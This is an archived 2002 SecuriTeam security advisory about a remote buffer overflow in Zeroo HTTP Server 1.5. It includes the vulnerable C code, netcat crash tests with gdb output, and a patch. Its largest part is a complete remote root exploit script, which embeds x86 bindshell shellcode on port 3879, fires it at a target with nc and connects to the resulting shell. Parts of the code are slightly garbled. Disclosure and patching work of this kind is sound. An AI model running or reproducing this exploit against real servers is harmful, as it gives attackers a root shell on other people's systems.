

[NEWS] Remote Buffer Overflow Vulnerability in Zeroo HTTP Server

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0062.html>

From: support@securiteam.com

Date: 11/21/02

From: support@securiteam.com

To: list@securiteam.com

Date: 21 Nov 2002 11:55:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Remote Buffer Overflow Vulnerability in Zeroo HTTP Server

SUMMARY

<<http://lonerunner.cfxweb.net/>> Zeroo is a simple, small, portable, fast HTTP server. A vulnerability in the product allows remote attackers to cause it to overflow an internal buffer, causing it to execute arbitrary code.

DETAILS

Vulnerable systems:

- * Zeroo HTTP Server version 1.5

Vulnerable code:

```
67 char *HttpWrite(char *in, const char *message, ...)
...
69 char buffer[MAX_CONN_BUF]; // #define MAX_CONN_BUF 1024
...
72 va_start(arglist, message);
73 vsprintf(buffer, message, arglist); // here.
74 va_end(arglist);
75
76 strncpy(in+strlen(in), buffer, strlen(buffer)); // ok.
```

Securiteam: [NEWS] Remote Buffer Overflow Vulnerability in Zeroo HTTP Server

Example:

#1) Test attacker:

```
bash$ (echo "`perl -e 'print \"x\"x1024`";cat)|nc 0 8000
```

#2) Debugging:

Program received signal SIGSEGV, Segmentation fault.

0x80497bf in HttpGetRequest ()

(gdb) where

#0 0x80497bf in HttpGetRequest ()

#1 0x78787878 in ?? ()

Cannot access memory at address 0x78787878.

(gdb) i r ebp

ebp 0xbffffa00 0xbffffa00

(gdb) i r esp

esp 0xbffff2a8 0xbffff2a8

(gdb) x \$esp

0xbffff2a8: 0x00000000

(gdb)

This appears as if ESP is not affected. However, see the next case:

#1) Test attacker:

```
bash$ (echo "`perl -e 'print \"\xaa\"x1024`";cat)|nc 0 8000 #  
0xaa,0xff,etc...
```

#2) Debugging:

Program received signal SIGSEGV, Segmentation fault.

0xaaaaaaaa in ?? ()

(gdb) where

#0 0xaaaaaaaa in ?? ()

Cannot access memory at address 0xaaaaaaaa.

(gdb) i r ebp

ebp 0xaaaaaaaa 0xaaaaaaaa

(gdb) i r esp

esp 0xbffff2a0 0xbffff2a0

(gdb) x \$esp

0xbffff2a0: 0xaaaaaaaa

(gdb)

If find where 'retloc, &shellcode' is, and you can exploit it without a problem.

Exploit:

```
#!/bin/sh
```

```
#
```

```
# 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit for Linux
```

```
#
```

Securiteam: [NEWS] Remote Buffer Overflow Vulnerability in Zeroo HTTP Server

```
# __
# exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
# My World: http://x82.i21c.net
#
(printf "\n 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit");
(printf "\n by x82 in INetCop(c)\n\n");
#
if [ "$2" = "" ]; then
(printf " Usage: 0x82-Zer00.sh [hostname] [port]\n\n");
exit; fi
#
cat >0x82-Remote-Zeroosubugxpl.c<< X82X82
#define Xpl017Elz x82
int main(* args? *) {
    int num;
    char b1ndsh[] = /* Linux(x86) bindshell on port 3879 */
        "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
        "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
        "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
        "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
        "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
        "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
        "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
    for(num=0;num<0xa4;num+=4)
        printf("\xc0\xf4\xff\xbf"); // this's &shellcode
    for(num=0;num<0x02a8-strlen(b1ndsh);num++)
        printf("N"); /* nop...NNNNNNNNNNNNNN...NNNNNNNNNNNNNNN;;; */
    printf("%s",b1ndsh); /* shellcode */
    for(num=0;num<0xb4;num++)
        printf("\xff"); /* byteother */
    printf("\r\n");
}
X82X82
#
(printf " { 0x00. Compile exploit. }\n");
make 0x82-Remote-Zeroosubugxpl
(printf " { 0x01. Send code ! }\n");
(./0x82-Remote-Zeroosubugxpl;cat)|nc $1 $2 &
(printf " { 0x02. OK, Try $1:3879 ... }\n");
nc $1 3879
(printf " { 0x03. Connection closed. }\n");
#
(printf " { 0x04. Delete exploit code. }\n");
rm -f 0x82-Remote-Zeroosubugxpl*
(printf " { 0x05. End :-}\n\n");
#

Patch:
=== http.patch ===
```

Securiteam: [NEWS] Remote Buffer Overflow Vulnerability in Zeroo HTTP Server

```
--- http.cpp Fri Apr 12 13:26:24 2002
+++ http.patch.cpp Tue Nov 10 00:28:13 2002
@@ -70,7 +70,7 @@
va_list arglist;

va_start(arglist, message);
- vsprintf(buffer, message, arglist);
+ vsnprintf(buffer, MAX_CONN_BUF, message, arglist);
va_end(arglist);

strncpy(in+strlen(in), buffer, strlen(buffer));

=== eof ===
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:xploit@hackermail.com>
dong-h0un U.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.